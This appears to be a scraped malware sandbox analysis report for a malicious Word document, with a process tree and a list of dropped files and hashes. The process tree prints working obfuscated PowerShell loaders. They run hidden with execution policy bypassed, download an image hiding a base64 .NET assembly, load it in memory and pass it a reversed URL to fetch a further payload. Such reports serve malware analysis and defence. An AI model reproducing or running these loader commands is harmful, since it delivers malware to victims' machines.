a◀▶Br◀▶GM◀▶bQBk◀▶Cc◀▶KQ◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""3⤵PID:1256
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/616/609/original/rump_vbs.jpg?1695408937';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.TDSU/wz/wwwz/32.61.281.301//:ptth' , '' , '2' , 'Regasm' , '3' , 'C:\Windows\Temp\', 'hkcmd'))"4⤵PID:396
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5275f41bd0d26e9b754292091b22142a3
SHA164b3e86c246b5503eca798e071be29930a22fab3
SHA256985cb45354197cd7839b08a330f6a76841ec142626e0590f1a3355ec7ea41265
SHA512a8107f7a7161724a962abd400533658c0ab2e176dc40ec1793e89c78891a2c8601c2d00bf88f3656ca2d8bb439b3970104bce33a0b5688630e3a073e2f5ea578
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C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{75AB5F7B-7452-4C9F-9A34-14B4DD1AA934}.FSD
Filesize128KB
MD5e9ef394810d077b49b155ff9f7e605f1
SHA1cc46416c4a4388fa9768494a47b4a2eb8e44f2b2
SHA25614cdf93b30ca0654e09f606e638440125004bdd683e69ff6fc40a6257b06e6a9
SHA512074bca9aeac2a80a5ae173637d5b239d484cfdfba6ead7120498a1a7cccad6c785e5e8e6559cc90e6fe1be8a0363537661b9d8d3f0b3288a5fa514c67ffa6fd2
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C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{2A0B64F1-E402-44DC-BE8C-6687E6A47BDE}.FSD
Filesize128KB
MD5ab8fe78d591786f86e107ad46c5311a8
SHA18237caa3b0daebde93af1c45dfa114393f6ac282
SHA256411f130f0ed3fe22a04aafdc3aac31c7dd324a9151d231dbeb43f6040d052931
SHA512569860b574c926fea4a77af570d791d9f1112be14cd80c29357730070f2d4ea1297b2d87fe8350d8bcce2aaa92098d26e0d40cbd9cd88e445f8fc97463b0c3a2
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C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NO1NR40C\i0iooi0i0IOI0IOI0i0ioioi0I0I0IIOII0OI0I0IOI0I0OI0I0IOI0OI0I0OI0IOI0I0OI0I0##############00000##############000000000[1].doc
Filesize22KB
MD5c525805107dafbab4307168b2544d08c
SHA12514a0564bbc807fa2c4f8783232c63d39f9dc1a
SHA256e5c0df7eb4648577abe7401b2d640479e9736e1a5d389387b92a694e4234c0d7
SHA512f42fbb17099e0541075601f8443d96469c1fe9de28cdb6c5f9cfd7151d507dad7a3ced3dc4a13bd195aee9e3f097506cdc1a8ed43b38801c57c39a99993e3a0f
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Filesize
22KB
MD5c525805107dafbab4307168b2544d08c
SHA12514a0564bbc807fa2c4f8783232c63d39f9dc1a
SHA256e5c0df7eb4648577abe7401b2d640479e9736e1a5d389387b92a694e4234c0d7
SHA512f42fbb17099e0541075601f8443d96469c1fe9de28cdb6c5f9cfd7151d507dad7a3ced3dc4a13bd195aee9e3f097506cdc1a8ed43b38801c57c39a99993e3a0f
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Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
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Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
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Filesize
128KB
MD53b4431bb9122cd363500f882542133ab
SHA14e37b765ec39e0a5cd3319346e5dcce8a62129ee
SHA256cbdbd6ea84ad776726d607437d7f88e349828d0ae8021dfa34b18d5c489b7fe6
SHA512820b9024696d9963e55fc226fb8f9b573b10d1eec5ef0e66bec9cb29172077bcf14f8acb51ede99089cb926c04deca05515217812fed1371b75ba49cd8eb2a4f
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q19ZT7VXR6QC1GR0W0D8.temp
Filesize7KB
MD5cc33b070956644f7e6c6bed8de9c6e58
SHA182648ffae43450393c3b4d96a02b3665b08b6d38
SHA256405ab9b6f08367a93e427343689be9a4ca0234ba124be95a46ee66c62667375c
SHA512a698b062ef377e32d0d39e1b60cf3ab29bdfb9654079ab9049e536bb5820b83e62702429d2b7e4e1572fe199ddaa5a0da026eb76c7eb3a92b0df5e704af9f071
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5cc33b070956644f7e6c6bed8de9c6e58
SHA182648ffae43450393c3b4d96a02b3665b08b6d38
SHA256405ab9b6f08367a93e427343689be9a4ca0234ba124be95a46ee66c62667375c
SHA512a698b062ef377e32d0d39e1b60cf3ab29bdfb9654079ab9049e536bb5820b83e62702429d2b7e4e1572fe199ddaa5a0da026eb76c7eb3a92b0df5e704af9f071
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5cc33b070956644f7e6c6bed8de9c6e58
SHA182648ffae43450393c3b4d96a02b3665b08b6d38
SHA256405ab9b6f08367a93e427343689be9a4ca0234ba124be95a46ee66c62667375c
SHA512a698b062ef377e32d0d39e1b60cf3ab29bdfb9654079ab9049e536bb5820b83e62702429d2b7e4e1572fe199ddaa5a0da026eb76c7eb3a92b0df5e704af9f071
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Filesize
368KB
MD51807f50290168a82fc6cc159a7276553
SHA1a3648981bc0f4b684a3313589214ff1f70bb7806
SHA256eb86466f8aa2d20b0ac358545b35a5e23faeb7aa2b0297fdf7ce606f67d01190
SHA51253e97242693386a69cc36b7d72f09cc9e5b77c909f20f83577c01b4c11bb637f4b0fc85e02800fc65bc3144c3d1fddeed989f20f86ce08f0e87dc9c04e74d242
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Filesize
368KB
MD51807f50290168a82fc6cc159a7276553
SHA1a3648981bc0f4b684a3313589214ff1f70bb7806
SHA256eb86466f8aa2d20b0ac358545b35a5e23faeb7aa2b0297fdf7ce606f67d01190
SHA51253e97242693386a69cc36b7d72f09cc9e5b77c909f20f83577c01b4c11bb637f4b0fc85e02800fc65bc3144c3d1fddeed989f20f86ce08f0e87dc9c04e74d242